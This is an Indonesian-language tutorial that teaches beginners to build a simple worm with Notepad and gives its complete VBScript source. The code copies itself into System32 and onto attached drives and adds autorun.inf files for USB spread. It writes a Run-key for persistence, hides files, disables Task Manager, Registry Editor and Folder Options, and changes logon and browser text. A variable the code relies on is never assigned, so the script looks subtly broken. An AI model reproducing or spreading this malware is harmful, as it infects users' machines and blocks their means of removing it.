Disini saya akan memberikan cara membuat virus sederhana atau sebuah worm yaitu dengan menggunakan Notepad atau melalui Visual Basic script bagi anda yang masih seorang pemula dalam pembuatan virus. Pertama buka Notepad dengan cara klik start - accesories -pilih Notepad lalu ketikan coding program berikut:
On error resume next
Dim kode,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd,indra
,rieski,Cinta
Set fs = createobject("Scripting.FileSystemObject")
Set wn = WScript.CreateObject("WScript.Network")
Set mf = fs.getfile(Wscript.ScriptFullname)
indra=CStr(fs.getfilename(Wscript.ScriptFullname))
Cinta = Replace(rieski,".vbs","")
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe CINTAMU.vbs"
dim text,size
size = mf.size
check = mf.drive.drivetype
Set text=mf.openastextstream(1,-2)
do while not text.atendofstream
kode=kode&text.readline
kode=kode & vbcrlf
Loop
kode=Replace(kode,indra,rieski)
do
Set winpath = fs.getspecialfolder(0)
Set tf = fs.getfile(winpath & "\SYSTEM32\" & rieski)
tf.attributes = 32
Set tf=fs.createtextfile(winpath & "\SYSTEM32\" & rieski,2,true)
tf.write kode
tf.close
Set tf = fs.getfile(winpath & "\SYSTEM32\" & rieski)
tf.attributes = 39
For each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" Then
Set tf=fs.getfile(flashdrive.path &"\CINTAMU.vbs")
tf.attributes =32
Set tf=fs.createtextfile(flashdrive.path &"\CINTAMU.vbs",2,true)
tf.write kode
tf.close
Set tf=fs.getfile(flashdrive.path &"\CINTAMU.vbs")
tf.attributes =39
Set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
Set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write atr
tf.close
Set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
End If
next
Set rg = createobject("WScript.Shell")
rg.regwrite"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \CurrentVersion\Run\" & Cinta & "",winpath&"\SYSTEM32\" & rieski
rg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden","0","REG_DWORD"
rg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions","1","REG_DWORD"
rg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title"," R135k1 4nd 1ndr4"
rg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","1","REG_DWORD"
rg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr","1","REG_DWORD"
rg.regwrite"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText","kemana kau pergi"
rg.regwrite"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption","R135ki kurn1alita"
if check <> 1 then
Wscript.sleep 120000
End if
loop while check<>1
Set sd = createobject("Wscript.shell")
sd.run winpath&"\explorer.exe /e,/select,"&Wscript.ScriptFullname
Setelah itu simpan dengan pilihan save as kemudian beri nama pada file dengan .vbs dibelakangnya contoh
Trojan.vbs. File tersebut jangan anda buka karena program virus tersebut akan berjalan di komputer anda jika ingin membuka File tersebut anda harus mengklik kanan pilih edit pada File tersebut.
mungkin saya juga seorang pemula yang masih harus belajar karena masih banyak kekurangan yang saya berikan dalam hal tersebut, semoga apa yang saya berikan ini bermanfaat bagi anda yang mencoba.
